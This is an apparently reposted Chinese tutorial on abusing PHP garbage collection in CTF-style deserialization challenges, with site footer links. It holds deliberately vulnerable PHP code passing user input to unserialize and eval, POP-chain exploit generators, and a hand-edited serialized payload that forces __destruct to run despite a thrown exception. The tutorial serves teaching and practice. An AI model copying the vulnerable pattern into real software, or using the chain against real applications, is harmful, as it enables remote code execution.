PHP的GC回收机制的实际工作是怎样,如何应用
Admin 2022-08-03 群英技术资讯 332 次浏览
在前面讲魔术方法时就提到过一个问题,__destruct()无论如何都会被触发,但是前提是必须得完成程序的开始与结束,但是如果程序走了一半,突然报错,那么__destruct()不会触发了,那如果又必须要__destruct()触发又得怎么搞呢?
这里就要提到一个垃圾回收机制---GC回收!!
先看看这个简单的序列化,一定要先思考再看后面的答案
<?php highlight_file(__FILE__); class errorr{ public $rce; public function __destruct(){ eval($rce); } } $a = $_GET["a"]; unserialize($a); ?>
很简单的一个反序列化,想办法控制$rce这个变量就可以达到命令执行的目的。
构造exp
<?php class errorr{ public $rce = "phpinfo();"; } $a = new errorr(); echo urlencode(serialize($a)); ?>
如果你看完了我之前写的序列化与反序列化基础篇就只能说这个是非常简单了。
这里是因为可以用到__destruct()方法
<?php highlight_file(__FILE__); class errorr{ public $rce; public function __destruct(){ eval($rce); } } $a = $_GET["a"]; unserialize($a); throw new Exception("???"); ?>
如果是这样的话呢?不会的话也不用着急搞懂,我们后面慢慢说。
PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。
垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。想知道原理细节的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual
那接下来就演示用代码演示GC的实际工作。
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } new errorr(1); $a = new errorr(2); $b = new errorr(3); ?>
可以猜一猜结果会是什么。
谢谢有被吃惊到(虽然我是已经知道结果的),new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。
如果没有指向可以,那如过在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。
<?php highlight_file(__FILE__); error_reporting(0); class errorr{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } $c = array(new errorr(1),0); $c[0] = $c[1]; $a = new errorr(2); $b = new errorr(3); ?>
意料之中。
如果注销$c[0] = $c[1]呢?
可以看到,正常创建,最后销毁的。
既然知道如何利用GC了,那就看一个例题。
<?php highlight_file(__FILE__); error_reporting(0); class errorr0{ public $num; public function __destruct(){ echo "hello __destruct"; echo $this->num; } } class errorr1{ public $err; public function __toString() { echo "hello __toString"; $this->err->flag(); } } class errorr2{ public $err; public function flag() { echo "hello __flag()"; eval($this->err); } } $a=unserialize($_GET['url']); throw new Exception("就这?"); ?>
自己胡思乱想出来的题目,太简单也不要骂我哈哈哈。可能这个throw new Exception();有点突兀,这其实就是阻止__destruct()执行的抛错,学过java或者python的小伙伴应该知道。
这也算一个pop链子吧,先分析目的函数,看来看去就是errorr2::flag(),往前推就是errorr1::__toString()会触发这个函数,而errorr0::__destruct()会触发toString,思路理清就把链子构造出来为:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。
exp为:
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); echo serialize($c); ?>
这个exp的构造有许多方法的,根据自己喜好来,不必和我一样。
这就完了?或许有人迷惑了,如果完了那前面我说的都是在放屁,和pop没区别,所以当然还没完。如果没有这句throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()不执行这条链子根本就是堵死的,没啥用。
重点来了,根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行__destruct(),然后就有一个问题-------如何触发GC回收机制?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。所以,我们先看修改后的exp
<?php error_reporting(0); class errorr0{ public $num; public function __construct() { $this->num = new errorr1(); } } class errorr1{ public $err; public function __construct() { $this->err = new errorr2(); } } class errorr2{ public $err = "phpinfo();"; } $a = new errorr0(); $c = array(0=>$a,1=>NULL); echo serialize($c); ?>
可以看出来,就加了一行代码,就是
$c = array(0=>$a,1=>NULL);
把目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}
可以自己试试。解释一下这串字符。
第一个a为数组,2为数组中键有两个 i = 0以及 i = 1
重点重点重点,虽然有两个键i = 0对应的是我们目标对象,i = 1是NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。所以最后我们修改后的字符串为:
a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}
成功拿下!!这就是GC回收机制的利用,现在返回去看开始那个铺垫我想你应该就懂了。
因为讲的GC回收机制并不算深入,只是谈谈如何利用,所以如果想要深入了解的还是得自己去百度查查别人写的原理,另外就是GC回收机制的利用需要修改字符串中的数据,如果phar反序列化+GC的话就还需要额外修改phar文件的签名,如果遇到的话就需要在修改序列化字符串后再对其进行加密得到的数据替换原本的签名。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。
猜你喜欢
在本篇文章里小编给大家整理了一篇关于php访问对象中的成员的实例方法,有需要的朋友们可以跟着学习参考下。
phpstorm编辑器启动慢的解决办法是:1、使用记事本打开phpstorm.vmoptions文件;2、添加代码到该文件末尾;3、保存文件并重新运行phpstorm。
小编也是刚接触swoole,官方文档给swoole demo信息量也非常的少,有些地方也没有说清楚,折腾了一,两天websocket终于握手成功,写下我的心得,希望能给有需要的人一些帮助。首先我先介绍我的运行环境是直接放在外网服务器的,程序运行环境我就不多说了大家可以参考swoole官网,我是直接通过ip 进行访问的,在这其中小编遇到一个坑,那就是我们让htpp服务器或者websocket监听...
Swoole是一个由C语言编写,支持PHP语言的异步多线程服务器,它的功能包括异步TCP/UDP网络客户端,异步MySQL,异步 Redis,数据库连接池,AsyncTask,消息队列,毫秒定时器,异步文件读写,异步DNS查询等。
我们在日常的计算机编程和学习中,往往会遇到进制转换,所谓进制转化,简单的理解就是将一种进制的数字转换为另一种进制的数字。这篇文章就给大家分享一下PHP字符串和十六进制的互相转换,通常我们在调用别网站接口时,要对字符串进行16进制加密处理。
成为群英会员,开启智能安全云计算之旅
立即注册Copyright © QY Network Company Ltd. All Rights Reserved. 2003-2020 群英 版权所有
增值电信经营许可证 : B1.B2-20140078 粤ICP备09006778号 域名注册商资质 粤 D3.1-20240008